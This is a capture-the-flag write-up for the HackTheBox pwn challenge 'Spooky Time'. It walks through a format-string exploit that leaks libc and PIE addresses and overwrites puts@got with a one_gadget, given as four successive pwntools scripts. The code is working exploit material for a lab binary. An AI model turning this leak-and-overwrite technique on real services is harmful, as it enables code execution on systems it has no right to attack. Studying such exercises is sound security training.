Spooky Time
Spooky Time
Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
Everyone loves a good jumpscare, especially kids or the person who does it.. Try to scare them all!
Solution Approach
Core idea: Stack-Based Exploitation. Exploiting FSB Bug.
Steps
- In this challenge we're given a 64 bit binary, not stripped, and dynamically linked.
NOTES: There's a libc too..
BINARY PROTECTIONS
-
Remembering there's
No Relro, hence the concept here might be somehow related to overwrite Global Offset Table (GOT) with format string vuln. -
Also there is PIE which we need to bypass to overwrite the function and there's canary which we need to leak in order to control the return address.
-
Anyway after i decompiled the binary, it seems we don't have to leak the canary, we just need to leak the PIE and calculate the PIE Base.
-
The challenge is very straight forward, we can leak the libc and pie with the second format strings vuln (it accepts up to 299 bytes).
-
At glance, the function we need to overwrite seems the
puts(). -
Let us see if there are any
one_gadgetwe can use.
LIST OF ONE_GADGET AVAIL
- Great we got few, it seems the 3rd and 4th shall be our interest.
- Let us start leaking the libc and pie.
UTILIZE THE 2ND FORMAT STRINGS VULN
- Based on the result, use this 2 potential address.
1st box --> potential libc, 2nd box --> potential piebase.
- Let us calculate them.
NOTES: We leak it at the 2nd vuln, but to access it, must at the 1st vuln (so we won't get EOF and we can calc the pie & libc base)
SCRIPT
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
### for remote solve
gdbscript = '''
init-pwndbg
piebase
breakrva 0x1492
continue
'''.format(**locals())
exe = './spooky_time'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'
library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)
sh = start()
pause()
sh.sendline('%3$p.%51$p')
sh.recvuntil(b'than')
sh.recvline()
get = sh.recvlineS()
print('GRABBED:',get)
potential_libc_leak = get[:14]
#print(potential_libc_leak)
libc_leak = int(potential_libc_leak, 16)
log.info('LIBC_LEAK --> %#0x', libc_leak)
pie_base_leak = get[15:]
pie_leak = int(pie_base_leak, 16)
log.info('PIE_LEAK --> %#0x', pie_leak)
#print(pie_base_leak)
sh.interactive()
CALCULATING THE LIBC_BASE
From the vmmap result we know the libc_base is --> 0x7f0516c00000
Calculate result --> 1133111
let us get the pie_base --> 5056
SCRIPT PT.2
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
### for remote solve
gdbscript = '''
init-pwndbg
piebase
breakrva 0x1492
continue
'''.format(**locals())
exe = './spooky_time'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'
library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)
sh = start()
pause()
sh.sendline('%3$p.%51$p')
sh.recvuntil(b'than')
sh.recvline()
get = sh.recvlineS()
print('GRABBED:',get)
potential_libc_leak = get[:14]
#print(potential_libc_leak)
libc_leak = int(potential_libc_leak, 16)
log.info('LIBC_LEAK --> %#0x', libc_leak)
pie_base_leak = get[15:]
pie_leak = int(pie_base_leak, 16)
log.info('PIE_LEAK --> %#0x', pie_leak)
#print(pie_base_leak)
elf.address = pie_leak - 0x13c0 #5056
log.info('Calculated base address --> %#0x', elf.address)
libc.address = libc_leak - 0x114a37 #1133111
log.info('Calculated lib_base --> %#0x', libc.address)
sh.interactive()
- Now we need to choose the correct one_gadget, let us start by using the 3rd one and bruteforce the correct offset.
SCRIPT PT.3
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
### for remote solve
gdbscript = '''
init-pwndbg
piebase
breakrva 0x1492
continue
'''.format(**locals())
exe = './spooky_time'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'
library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)
sh = start()
#pause()
sh.sendline('%3$p.%51$p')
sh.recvuntil(b'than')
sh.recvline()
get = sh.recvlineS()
print('GRABBED:',get)
potential_libc_leak = get[:14]
#print(potential_libc_leak)
libc_leak = int(potential_libc_leak, 16)
log.info('LIBC_LEAK --> %#0x', libc_leak)
pie_base_leak = get[15:]
pie_leak = int(pie_base_leak, 16)
log.info('PIE_LEAK --> %#0x', pie_leak)
#print(pie_base_leak)
elf.address = pie_leak - 0x13c0 #5056
log.info('Calculated base address --> %#0x', elf.address)
libc.address = libc_leak - 0x114a37 #1133111
log.info('Calculated lib_base --> %#0x', libc.address)
offset = 1
one_gadget = libc.address + 0xebcf5
payload = fmtstr_payload(offset, {elf.got['puts'] : one_gadget}) # overwrite puts@got
sh.sendlineafter(b'time..\n\n', payload)
sh.interactive()
- Anyway there must be the intended solution to get the offset, but in this case i bruteforced it from number 1 to 20 and i got it correct at offset 8.
FINAL SCRIPT
from pwn import *
import os
os.system('clear')
def start(argv=[], *a, **kw):
if args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe] + argv, *a, **kw)
### for remote solve
gdbscript = '''
init-pwndbg
piebase
breakrva 0x1492
continue
'''.format(**locals())
exe = './spooky_time'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'
library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)
sh = start()
#pause()
sh.sendline('%3$p.%51$p')
sh.recvuntil(b'than')
sh.recvline()
get = sh.recvlineS()
print('GRABBED:',get)
potential_libc_leak = get[:14]
#print(potential_libc_leak)
libc_leak = int(potential_libc_leak, 16)
log.info('LIBC_LEAK --> %#0x', libc_leak)
pie_base_leak = get[15:]
pie_leak = int(pie_base_leak, 16)
log.info('PIE_LEAK --> %#0x', pie_leak)
#print(pie_base_leak)
elf.address = pie_leak - 0x13c0 #5056
log.info('Calculated base address --> %#0x', elf.address)
libc.address = libc_leak - 0x114a37 #1133111
log.info('Calculated lib_base --> %#0x', libc.address)
offset = 8
one_gadget = libc.address + 0xebcf5 # 3rd one_gadget
payload = fmtstr_payload(offset, {elf.got['puts'] : one_gadget}) # overwrite puts@got
sh.sendlineafter(b'time..\n\n', payload)
sh.interactive()
RESULT (LOCAL)
TEST REMOTELY
- Got the flag!
Flag
REDACTED
Lessons Learned
- Stack-Based Exploitation.
- Exploiting FSB Bug.
- Overwrite puts@got with one gadget.